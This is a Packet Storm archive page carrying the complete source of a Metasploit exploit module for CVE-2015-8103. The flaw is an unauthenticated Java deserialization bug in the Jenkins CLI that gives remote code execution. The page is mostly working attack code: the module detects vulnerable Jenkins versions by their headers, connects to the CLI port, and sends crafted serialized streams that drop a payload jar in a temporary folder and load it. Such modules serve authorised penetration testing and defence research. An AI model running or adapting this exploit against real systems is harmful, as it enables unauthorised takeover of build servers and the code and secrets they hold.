exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Jenkins CLI RMI Java Deserialization

Jenkins CLI RMI Java Deserialization
Posted Dec 14, 2015
Authored by juan vazquez, Christopher Frohoff, Louis Sato, William Vu, Wei Chen, Steve Breen, Dev Mohanty | Site metasploit.com

This Metasploit module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2015-8103
SHA-256 | 782645570bac4c529e2ccd8ab1e298b919bf154a4c1e1619b5df9efcd12e1501

Jenkins CLI RMI Java Deserialization

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
the Jenkins master, which allows remote arbitrary code execution. Authentication is not
required to exploit this vulnerability.
},
'Author' =>
[
'Christopher Frohoff', # Vulnerability discovery
'Steve Breen', # Public Exploit
'Dev Mohanty', # Metasploit module
'Louis Sato', # Metasploit
'William Vu', # Metasploit
'juan vazquez', # Metasploit
'Wei Chen' # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8103'],
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Jenkins 1.637', {} ]
],
'DisclosureDate' => 'Nov 18 2015',
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
Opt::RPORT('8080')
], self.class)
end

def exploit
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
end
invoke_remote_method(set_payload)
invoke_remote_method(class_load_payload)
end


# This is from the HttpClient mixin. But since this module isn't actually exploiting
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.

def target_uri
begin
# In case TARGETURI is empty, at least we default to '/'
u = datastore['TARGETURI']
u = "/" if u.nil? or u.empty?
URI(u)
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])
end
end

def normalize_uri(*strs)
new_str = strs * "/"

new_str = new_str.gsub!("//", "/") while new_str.index("//")

# Makes sure there's a starting slash
unless new_str[0,1] == '/'
new_str = '/' + new_str
end

new_str
end

def check
result = Exploit::CheckCode::Safe

begin
if vulnerable?
result = Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end

result
end

def vulnerable?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})

unless res
fail_with(Failure::Unknown, 'The connection timed out.')
end

http_headers = res.headers

unless http_headers['X-Jenkins-CLI-Port']
vprint_error('The server does not have the CLI port that is needed for exploitation.')
return false
end

if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
return true
end

false
end

# Connects to the server, creates a request, sends the request,
# reads the response
#
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
#
def send_request_cgi(opts={}, timeout = 20)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end

begin
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
c.connect
r = c.request_cgi(opts)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
end

def invoke_remote_method(serialized_java_stream)
begin
socket = connect(true, {'RPORT' => @jenkins_cli_port})

print_status 'Sending headers...'
socket.put(read_bin_file('serialized_jenkins_header'))

vprint_status(socket.recv(1024))
vprint_status(socket.recv(1024))

encoded_payload0 = read_bin_file('serialized_payload_header')
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
encoded_payload2 = read_bin_file('serialized_payload_footer')

encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
print_status "Sending payload length: #{encoded_payload.length}"
socket.put(encoded_payload)
ensure
disconnect(socket)
end

end

def print_status(msg='')
super("#{rhost}:#{rport} - #{msg}")
end

#
# Serialized stream generated with:
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
#
def set_payload
stream = Rex::Java::Serialization::Model::Stream.new

handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
decoded = stream.decode(handle)
handle.close

inject_payload_into_stream(decoded).encode
end

#
# Serialized stream generated with:
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
#
def class_load_payload
stream = Rex::Java::Serialization::Model::Stream.new
handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
decoded = stream.decode(handle)
handle.close
inject_class_loader_into_stream(decoded).encode
end

def inject_class_loader_into_stream(decoded)
file_name_utf8 = get_array_chain(decoded)
.values[2]
.class_data[0]
.values[1]
.values[0]
.values[0]
.class_data[3]
file_name_utf8.contents = get_random_file_name
file_name_utf8.length = file_name_utf8.contents.length
class_name_utf8 = get_array_chain(decoded)
.values[4]
.class_data[0]
.values[0]
class_name_utf8.contents = 'metasploit.Payload'
class_name_utf8.length = class_name_utf8.contents.length
decoded
end

def get_random_file_name
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
end

def inject_payload_into_stream(decoded)
byte_array = get_array_chain(decoded)
.values[2]
.class_data
.last
byte_array.values = payload.encoded.bytes
file_name_utf8 = decoded.references[44].class_data[0]
rnd_fname = get_random_file_name
register_file_for_cleanup(rnd_fname)
file_name_utf8.contents = rnd_fname
file_name_utf8.length = file_name_utf8.contents.length
decoded
end

def get_array_chain(decoded)
object = decoded.contents[0]
lazy_map = object.class_data[1].class_data[0]
chained_transformer = lazy_map.class_data[0]
chained_transformer.class_data[0]
end

def read_bin_file(bin_file_path)
data = ''

File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
data = f.read
end

data
end

end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close